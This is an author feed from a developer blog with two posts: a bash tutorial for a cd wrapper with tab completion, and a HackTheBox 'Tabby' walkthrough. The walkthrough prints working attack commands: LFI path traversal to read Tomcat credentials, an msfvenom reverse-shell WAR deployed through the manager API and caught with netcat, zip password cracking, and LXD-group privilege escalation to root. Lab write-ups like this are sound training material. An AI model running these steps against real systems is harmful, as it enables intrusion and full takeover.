DEV Community: Abass Sesay

Creating a "cd" Wrapper with Bash Autocomplete

Abass Sesay — Sun, 07 Feb 2021 02:39:59 +0000

TL;DR

A little bash function that wraps "cd" using a specified folder as a base folder complete with bash autocomplete.

Why

In the past year, I have been actively working on HackTheBox labs and now and then I find myself switch between directories in my "/HTB" . I keep having to use "cd ../" or the full path. This is a minor inconvenience but I want another way to do it; something like <command> <path>. Here command will know what know the base directory for the path.

How

The way went about solving my problem was to create a bash function that would take the path passed and concatenate that with the base directory. The output then passed to cd.

function htb {
    mcd "/home/kali/HTB/$@"
}

I used $@ here instead of $1 to give the flexibility to create folders with space in the name. I hardly every do this but it was a corner case I wanted to handle.
You might be thinking, what is this mcd ?
This is yet another wrapper for cd ;I got inspired by this article. This wrapper will create the directory if it does not exist. I threw a confirmation prompt before creating the directory. It is also doing a Sed substitution; changing + to space, the reason will be more apparent as later.

function mcd {
    local path=$(sed 's/+/\ /g' <<< $@)
    if [ ! -e "$path" ]; 
    then
        read -p "'$path' does not exist and will be created (Y[Enter]/N): " confirmation
        case "$confirmation" in
            [!yY]) return ;;
        esac
    fi
    mkdir -p "$path"
    cd "$path"
}

At this point we have functional wrapper with a base directory. The only things missing is the nice tab completion/suggestion that cd has.

There are built-in bash commands that can implement autocomplete. I used compgen and complete.
compgen -d will list all directories in the current directory. If you specify a directory, it will list all directories in that directory.

kali@kali:~/HTB$ compgen -d ~/HTB/
/home/kali/HTB/Academy
/home/kali/HTB/Admirer
/home/kali/HTB/Book
/home/kali/HTB/Bucket
/home/kali/HTB/Buff
/home/kali/HTB/Cache
/home/kali/HTB/Challenges
/home/kali/HTB/Compromised
/home/kali/HTB/Delivery
/home/kali/HTB/Doctor
/home/kali/HTB/Feline
/home/kali/HTB/HelperScripts
/home/kali/HTB/Jewel
...

complete [options] name specifics how argument are to be completed for name. name in my case is a function named htb . There are many options that can be specified for complete but in my case I only used 2; see link below for full documentation. I used the -o nospace flag, which controls the behavior of the completion by not adding a space after completion. I also used the -F flag to specify a function that updates the COMREPLY array variable that holds the auto complete option. This function is as follows.

function _comp_htb {
    COMPREPLY=($(compgen -d /home/kali/HTB/"$2" |sed -r "s:\ :\\+:g"))
    COMPREPLY=("${COMPREPLY[@]#/home/kali/HTB/}")

    if [[ ${#COMPREPLY[@]} -eq 1 ]];
    then
        COMPREPLY=("${COMPREPLY[@]}/")
    fi
}

Let's go over what this function is doing.
$(compgen -d /home/kali/HTB/"$2" |sed -r "s:\ :\\+:g")
In the above command, compgen will generate a list of directories that match the pattern passed. $2 in this case is the argument that the user is trying to autocomplete.
If you try to create a bash array with this output you will run into issues if the there are directories with space in their name. Example, if you have a directory named "Test This", both "Test" and "This" will be considered as separated entries for the array.

kali@kali:~/Bash$ ls -al
total 12
drwxr-xr-x  3 kali kali 4096 Feb  6 18:27  ./
drwxr-xr-x 47 kali kali 4096 Feb  6 18:27  ../
drwxr-xr-x  2 kali kali 4096 Feb  6 18:27 'This Directory Name Has Spaces'/
kali@kali:~/Bash$ TEST=("$(compgen -d )")
printf 'Element -> %s\n' ${TEST[@]}
Element -> This
Element -> Directory
Element -> Name
Element -> Has
Element -> Spaces
kali@kali:~/Bash$

To bypass this issue, I used sed to replaced spaces with + and later when mcd is called, it will replace the + with space. I store the result in COMPREPLY

Compreply - An array variable from which Bash reads the possible completions generated by a shell function invoked by the programmable completion facility (see Programmable Completion). Each array element contains one possible completion.

${COMPREPLY[@]#/home/kali/HTB/}
Here I am using shell parameter expansion to remove the base directory name from the list of autocomplete options. [@] traverses over the list and # deletes the pattern that follows; in this case /home/kali/HTB/ .

if [[ ${#COMPREPLY[@]} -eq 1 ]];
then
   COMPREPLY=("${COMPREPLY[@]}/")
fi

This condition checks to determine if only a single directory has been resolved and from here on the autocomplete continues into that directory.
Putting everything together.

function mcd {
    local path=$(sed 's/+/\ /g' <<< $@)
    if [ ! -e "$path" ]; 
    then
        read -p "'$path' does not exist and will be created (Y[Enter]/N): " confirmation
        case "$confirmation" in
            [!yY]) return ;;
        esac
    fi
    mkdir -p "$path"
    cd "$path"
}
function htb {
    mcd "/home/kali/HTB/$@"
}
function _comp_htb {
    COMPREPLY=($(compgen -d /home/kali/HTB/"$2" |sed -r "s:\ :\\+:g"))
    COMPREPLY=("${COMPREPLY[@]#/home/kali/HTB/}")

    if [[ ${#COMPREPLY[@]} -eq 1 ]];
    then
        COMPREPLY=("${COMPREPLY[@]}/")
    fi
}
complete -o nospace -F _comp_htb htb

What's Next?

At this point, I have fulfilled all that I promised in the title. Despite this, I took it one step further. I do TryHackLabs every now and then so I replicated this solution for it. Instead of creating a special completion function for TryHackMe, I just abstracted my current completion function to use a different base directory depending on the function making the call.

function mcd {
    local path=$(sed 's/+/\ /g' <<< $@)
    if [ ! -e "$path" ]; 
    then
        read -p "'$path' does not exist and will be created (Y[Enter]/N): " confirmation
        case "$confirmation" in
            [!yY]) return ;;
        esac
    fi
    mkdir -p "$path"
    cd "$path"
}
function _comp_custom_cd {
    local basedir
    case $1 in
        htb) basedir="/home/kali/HTB/" ;;
        thm) basedir="/home/kali/TryHackMe/" ;;
    esac
COMPREPLY=($(compgen -d "$basedir$2" |sed -r "s:\ :\\+:g"))
    COMPREPLY=("${COMPREPLY[@]#$basedir}")

    if [[ ${#COMPREPLY[@]} -eq 1 ]];
    then
        COMPREPLY=("${COMPREPLY[@]}/")
    fi
}
function htb {
    mcd "/home/kali/HTB/$@"
}
complete -o nospace -F _comp_custom_cd htb
function thm {
    mcd "/home/kali/TryHackMe/$1"
}
complete -o nospace -F _comp_custom_cd thm

Links

https://www.digitalocean.com/community/tutorials/an-introduction-to-useful-bash-aliases-and-functions

https://www.gnu.org/software/bash/manual/bash.html#index-COMPREPLY

https://www.gnu.org/software/bash/manual/bash.html#Programmable-Completion-Builtins

Tabby - HackTheBox

Abass Sesay — Fri, 06 Nov 2020 08:26:53 +0000

TL;DR

Foothold for this box involved LFI coupled with Tomcat Manger App exploit. Once on the box, gaining User access requires enumeration, enumeration, enumeration. Gaining root require exploit a legitimate application, LXC.

Reconnaissance

Nmap to the rescue for recon. This will give us an idea of the potential attack vectors.
PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open   http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp  open   http    Apache Tomcat
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
12712/tcp closed unknown
26817/tcp closed unknown
27436/tcp closed unknown
34408/tcp closed unknown
46483/tcp closed unknown
61123/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The 2 open http ports (80 & 8080), are the primary focus to gain initial foothold.

Hosted at port 80 is a PHP website offering hosting services.

It is always a good practice to view the source of the page. From here you can see Local File Inclusion (LFI) is possible. You can try grabbing the file such as the "/etc/passwd". More on this later.

Navigating to the site hosted at port 8080, we see the welcome page shows that tomcat9 is installed and also provides links to Tomcat manager app. This app is the route to getting initial foothold but you will need valid credentials.

With a valid credential, you can deploy a rogue app that would then give us access. As per the Tomcat documentation, the users that can access the manager application are in $CATALINA_BASE/conf/tomcat-users.xml. The goal now is to use the LFI from port 80 to grab the contents of the tomcat-users.xml. Using the $CATALINA_BASE dir listed on the webpage, you cannot get the users file. Searching around, you will find a file list for tomcat9. From this list you can see that the full directory of the user file is "/usr/share/tomcat9/etc/tomcat-users.xml". With the LFI on port 80, we can get the context of this file.

kali@kali:~/HTB/Tabby$ curl http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

As you can see the both the username and password for the manager app are in the user file.

Keep in mind that if you do this through the browser, you will get a blank page. You would have to view the content of the page to see the config file. This is because none of the tags are valid HTML tags.

Foothold

Now that we have creds, the next step if to gain a foothold in the system. Going back to port 8080, we can log into the manager app with the username and password. The application will accept the credential for basic authentication, but it will show you a 403 error. This is because our user does not have the "manager-gui" role.

You can use the credential with curl to upload rogue application that will then give you a foothold. To generate the java war file that will be deployed on the server, you can leverage msfvenom or write one. I went with the former.

kali@kali:~/HTB/Tabby$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.14 LPORT=1337 -f war > revshell.war
Payload size: 1089 bytes
Final size of war file: 1089 bytes
This file can now be deployed and be accessed at a specified endpoint (/foo).
kali@kali:~/HTB/Tabby$ pass="\$3cureP4s5w0rd123!"
kali@kali:~/HTB/Tabby$ curl -v -u tomcat:$pass --upload-file revshell.war "http://10.10.10.194:8080/manager/text/deploy?path=/foo&update=true"
*   Trying 10.10.10.194:8080...
* Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0)
* Server auth using Basic with user 'tomcat'
> PUT /manager/text/deploy?path=/foo&update=true HTTP/1.1
> Host: 10.10.10.194:8080
> Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
> User-Agent: curl/7.72.0
> Accept: */*
> Content-Length: 1089
> Expect: 100-continue
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 100 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=utf-8
< Transfer-Encoding: chunked
< Date: Thu, 05 Nov 2020 05:08:56 GMT
< 
OK - Deployed application at context path [/foo]
* Connection #0 to host 10.10.10.194 left intact

Now all you have to do is navigate to "http://10.10.10.194:8080/foo/" to start a reverse shell.

kali@kali:~/HTB/Tabby$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.194] 60742
python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@tabby:/var/lib/tomcat9$ ^Z
[1]+  Stopped                 nc -lvnp 1337
kali@kali:~/HTB/Tabby$ stty raw -echo
kali@kali:~/HTB/Tabby$ nc -lvnp 1337
tomcat@tabby:/var/lib/tomcat9$ 
tomcat@tabby:/var/lib/tomcat9$ export TERM=xterm

Do the following to improve your shell experience and get a fully interactive TTY.

{In remote shell}
python3 -c "import pty;pty.spawn('/bin/bash')"
[Ctrl-Z]

{In local shell}
stty raw -echo
fg [enter] [enter]

{In remote shell}
export TERM=xterm

User Exploit

Running Linpeas, you see that the user on the box; ash, has a password protected backup zip file.

[+] Backup files?
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 /var/www/html/files/16162020_backup.zip                                                                                                                                                             
-rw-r--r-- 1 root root 2743 Apr 23  2020 /etc/apt/sources.list.curtin.old

You can use the tool fcrackzip to recover the password

kali@kali:~/HTB/Tabby$ fcrackzip -D -p /usr/share/wordlists/rockyou.txt ash.zip
possible pw found: admin@it ()

There is not much to the zip file, but you can use this password to pivot to the user ash and get the user flag.

tomcat@tabby:/tmp$ su ash
Password: 
ash@tabby:~$ ls -al
total 28
drwxr-x--- 3 ash  ash  4096 Jun 16 13:59 .
drwxr-xr-x 3 root root 4096 Jun 16 13:32 ..
lrwxrwxrwx 1 root root    9 May 21 20:32 .bash_history -> /dev/null
-rw-r----- 1 ash  ash   220 Feb 25  2020 .bash_logout
-rw-r----- 1 ash  ash  3771 Feb 25  2020 .bashrc
drwx------ 2 ash  ash  4096 May 19 11:48 .cache
-rw-r----- 1 ash  ash   807 Feb 25  2020 .profile
-rw-r----- 1 ash  ash     0 May 19 11:48 .sudo_as_admin_successful
-rw-r----- 1 ash  ash    33 Nov  5 05:41 user.txt
ash@tabby:~$ wc -l user.txt 
1 user.txt
ash@tabby:~$ wc user.txt 
 1  1 33 user.txt
ash@tabby:~$

More Reconnaissance

Moving on to root privesc, more recon is needed. Again, from Linpeas results, you can see that the user ash is part of the lxd group. The provides a path to escalate to root. LXC is a lightweight virtualization technology and LXD is the corresponding hypervisor.

[+] All users & groups
uid=0(root) gid=0(root) groups=0(root)                                                                                                                                                                                                     
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)                                                                                                                                                 
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(systemd-timesync) gid=104(systemd-timesync) groups=104(systemd-timesync)
...

A member of the group escalate to root easily because LXD is a root process that carries out action on behalf of the user. You can find a much detailed explanation here.

Root Exploit

The gist of what needs to get done is as follows :

Download and build the latest alpine container from github. You will need to do this on your local system.

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

When the build completes, transfer the tar file generated to the victim machine (assuming you are running a webserver at port 8000)

ash@tabby:~$ wget http://10.10.14.14:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200823_2337.tar.gz
--2020-11-05 07:11:27--  http://10.10.14.14:8000/lxd-alpine-builder/alpine-v3.12-x86_64-20200823_2337.tar.gz
Connecting to 10.10.14.14:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3183908 (3.0M) [application/gzip]
Saving to: 'alpine-v3.12-x86_64-20200823_2337.tar.gz'
alpine-v3.12-x86_64 100%[===================>]   3.04M  1.57MB/s    in 1.9s
2020-11-05 07:11:29 (1.57 MB/s) - 'alpine-v3.12-x86_64-20200823_2337.tar.gz' saved [3183908/3183908]

Import this image on the victim machine and then initialize lxd and lxc.

ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200823_2337.tar.gz --alias bas
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: 
Do you want to configure a new storage pool? (yes/no) [default=yes]: 
Name of the new storage pool [default=default]: 
Name of the storage backend to use (dir, lvm, ceph, btrfs) [default=btrfs]: 
Create a new BTRFS pool? (yes/no) [default=yes]: 
Would you like to use an existing block device? (yes/no) [default=no]: 
Size in GB of the new loop device (1GB minimum) [default=15GB]: 
Would you like to connect to a MAAS server? (yes/no) [default=no]: 
Would you like to create a new local network bridge? (yes/no) [default=yes]: 
What should the new bridge be called? [default=lxdbr0]: 
What IPv4 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]: 
What IPv6 address should be used? (CIDR subnet notation, "auto" or "none") [default=auto]: 
Would you like LXD to be available over the network? (yes/no) [default=no]: 
Would you like stale cached images to be updated automatically? (yes/no) [default=yes] 
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: 
ash@tabby:~$ lxc init bas privs -c security.privileged=true
Creating privs

Mount the root directory inside the container

ash@tabby:~$ lxc config device add privs mydevice disk source=/ path=/mnt/root recursive=true
With the whole setup completed, now you can start a shell in the container. From here on you then navigate to the mount point "/mnt/root".
ash@tabby:~$ lxc start privs
ash@tabby:~$ lxc exec privs /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root
/mnt/root # ls
bin         home        lost+found  root        swap.img
boot        lib         media       run         sys
cdrom       lib32       mnt         sbin        tmp
dev         lib64       opt         snap        usr
etc         libx32      proc        srv         var
/mnt/root # cd root/
/mnt/root/root # ls
root.txt  snap
/mnt/root/root #

We can now get the root flag from the context of the lxc container.